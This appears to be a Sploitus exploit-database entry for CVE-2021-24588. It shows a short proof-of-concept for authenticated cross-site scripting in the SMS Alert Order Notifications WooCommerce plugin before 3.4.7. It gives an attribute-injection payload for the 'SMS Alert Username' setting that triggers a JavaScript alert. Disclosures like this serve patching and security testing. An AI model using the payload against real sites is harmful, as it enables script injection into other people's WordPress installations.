Sploitus

Exploit for SMS Alert Order Notifications – WooCommerce < 3.4.7 Authenticated Cross Site Scripting

CVE-2021-24588

wpexploit · 2021-08-02

Exploit Code

MARKDOWN6 lines
## https://sploitus.com/exploit?id=WPEX-ID:DC2CE546-9DA1-442C-8EE2-CD660634501F
Enter the payload below for the "SMS Alert Username" in the plugin's settings.

"+onfocus="alert(1)"+autofocus="

You will observe that the  JavaScript payload successfully got reflected is and we are getting a pop-up.